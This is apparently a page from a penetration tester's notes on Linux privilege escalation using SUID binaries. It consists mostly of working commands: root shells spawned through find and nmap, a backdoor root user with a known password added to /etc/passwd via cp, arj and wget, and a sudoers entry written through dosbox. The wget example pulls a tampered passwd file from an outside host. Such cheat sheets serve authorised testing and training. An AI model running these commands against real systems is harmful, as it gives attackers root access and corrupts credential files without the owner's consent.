> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/linux-unix/checklist-privesc/suid.md).

# SUID

Using programs which has SUID bit to root shell.

```
find / -perm -u=s -type f 2>/dev/null
```

{% embed url="<https://gtfobins.github.io>" %}

### dosbox

```
$ dosbox -c 'mount c /etc' -c 'echo test ALL=(ALL) ALL >> C:\sudoers' -c exit
```

### find

```
find . -exec /bin/sh -p \; -quit
```

### cp

<https://www.hackingarticles.in/linux-for-pentester-cp-privilege-escalation/>

```
$ openssl passwd -1 -salt ignite pass123
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1

$ mkdir /tmp/privesc && cd /tmp/privesc
$ cp /etc/passwd .
$ cp passwd passwd.bak

$ echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> ./passwd
$ cp ./passwd /etc/passwd

$ su ch
password: pass123

# Restoring the original
$ cp /tmp/privesc/passwd /etc/passwd && rm -rf /tmp/privesc
```

### nmap

```
$ nmap --interactive
nmap> !sh

-----------------------

$ TF=$(mktemp)
$ echo 'os.execute("/bin/bash")' > $TF
$ nmap --script=$TF

-----------------------

$ echo 'os.execute("/bin/sh")' > /tmp/x.nse
$ nmap --script /tmp/x.nse
```

### wget

```
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/wget
```

Copy contents of /etc/passwd to your host as passwd.

Add this user with this command:

```
echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
```

**ch:pass123**

```
$ wget http://192.168.49.60/passwd -O /etc/passwd
$ su ch
password:pass123
```

### arj

```
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/arj

$ cd /tmp
$ cp /etc/passwd passwd
$ echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
$ arj a priv passwd
$ arj x priv.arj /etc/
→ Yes

$su ch
Password: pass123
```